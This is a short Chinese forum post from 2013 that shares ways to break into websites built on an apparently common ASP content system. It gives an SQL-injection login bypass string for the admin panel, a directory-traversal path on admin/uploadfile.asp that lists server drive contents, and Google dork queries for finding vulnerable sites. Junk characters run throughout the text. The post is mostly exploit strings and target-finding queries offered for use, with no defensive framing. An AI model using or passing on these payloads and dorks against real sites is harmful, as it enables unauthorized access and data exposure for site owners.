后台万能密码 'or'='or'- R4 ^) ?( x5 c1 K: I; o/ Z: b4 N
5 k& u/ M: H# M+ K后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！, Q$ O! h4 g7 B9 b6 ?' q
admin/uploadfile.asp?currentFolder=/upfiles/../3 _- v8 v1 N% q0 G4 p# J
3 L8 @% H; y2 E, U% \
漏洞证明：1 n# p, E' K8 V! p
/ y1 R: {9 N: t. l* Y谷歌：inurl:type.asp?id=1 新闻中心
% J7 X @2 b; T1 D, r# E或者 ：inurl:download_ok.asp?
! c U1 y& i5 x; `: Q- K) x& } T: n( I
|
发表于 2013-3-14 20:17:32
收藏
支持
反对